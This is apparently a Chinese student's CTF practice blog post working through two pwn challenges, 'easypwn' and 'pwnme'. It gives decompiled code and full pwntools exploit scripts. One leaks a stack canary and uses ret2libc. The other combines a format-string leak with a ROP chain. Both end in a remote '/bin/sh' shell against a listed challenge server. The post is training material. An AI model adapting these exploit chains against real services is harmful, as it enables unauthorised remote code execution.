暑假pwn训练(十二) 学不会阿自己好菜

记一下这几天做的pwn题目~~
i春秋的easypwn
很简单明显的栈溢出漏洞
常规的思路泄露libc然后构成shell

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-50h]
  unsigned __int64 v5; // [rsp+48h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  memset(&buf, 0, 0x40uLL);
  puts("Hello!I am the smartest robot in the universe!\nWho are you?");
  fflush(_bss_start);
  read(0, &buf, 0x100uLL);
  printf(
    "Your name %s sounds so stupid!\nBut you don't looks like a fool,isn't it?\nso why don't tell me your real name?\n",
    &buf);
  fflush(_bss_start);
  read(0, &buf, 0x100uLL);
  puts("Oh!This one is better,nice to meet you!\nGoodbye!See you again!");
  return __readfsqword(0x28u) ^ v5;
}

上面是main函数
直接上exp:

from pwn import *
from LibcSearcher import *
p=remote('106.75.2.53',10002)
elf=ELF('./easypwn')
libc=ELF('./libc6_2.23-0ubuntu10_amd64.so')
pop_rdi=0x004007f3
main_addr=0x04006C6
p.recvuntil('Who are you?')
payload='a'*0x48
p.sendline(payload)
p.recvuntil('\x0a')
p.recvuntil('\x0a')
canary=u64(p.recv(7).rjust(8,'\x00'))
print hex(canary)
payload1='a'*0x48+p64(canary)+p64(0)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main_addr)
p.recvuntil('your real name?')
p.sendline(payload1)
put_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print hex(put_addr)
#0x7fd67582b690
#libc=LibcSearcher('puts',put_addr)

libcbase=put_addr-libc.symbols['puts']
system_addr=libcbase+libc.symbols['system']
bin_sh=libcbase+libc.search('/bin/sh').next()
p.recvuntil('Who are you?')
payload3='a'*0x48+p64(canary)+p64(0)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
p.sendline(payload3)
p.interactive()

然后还做了个pwnme这个有趣一些利用到了格式化字符串(我发现这个一般都要分开输入寻找偏移)emem一起输入的我不知道试了多久我这里用gdb调试发现__libc_start_main函数的偏移为11(6+5)然后就可以泄露这个函数的真实地址然后泄露libc就行了，还有一种是利用DynELF模块去泄露system地址然后调用read函数写入/bin/sh再getshell这里我就泄露libc就不要这么麻烦了
上exp:

from pwn import *
from LibcSearcher import *
libc=ELF('./libc6_2.23-0ubuntu10_amd64.so')
p=remote('106.75.2.53',10006)
#p=process('./pwnme')
elf=ELF('./pwnme')
pop_rdi=0x00400ed3
pop_pop_pop_pop_po_ret = 0x400ecb
init_gadget=0x0400EB0
p.recvuntil('(max lenth:40):')
p.sendline('binbin')
p.recvuntil('(max lenth:40):')
p.sendline('1')
p.recvuntil('>')
payload='%11$s'
p.sendline('2')
p.recvuntil('(max lenth:20):')
p.sendline(payload)
p.recvuntil('(max lenth:20):')
p.sendline("AAAA"+p64(elf.got['puts']))
p.sendline('1')
put_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print hex(put_addr)
libcbase=put_addr-libc.symbols['puts']
system_addr=libcbase+libc.symbols['system']
print hex(system_addr)
bin_sh=libcbase+libc.search('/bin/sh').next()
print hex(bin_sh)
p.sendline('2')
p.recvuntil('(max lenth:20):')
p.sendline('bin')
p.recvuntil('(max lenth:20):')
payload1 = 'A' * 0x28
payload1+=p64(pop_rdi)
payload1+=p64(bin_sh)
payload1+=p64(system_addr)
payload1=payload1.ljust(0x101,'a')

p.sendline(payload1)
#p.send('/bin/sh\x00')

#gdb.attach(p,'')
p.interactive()

emempwn好难对完全看不懂~~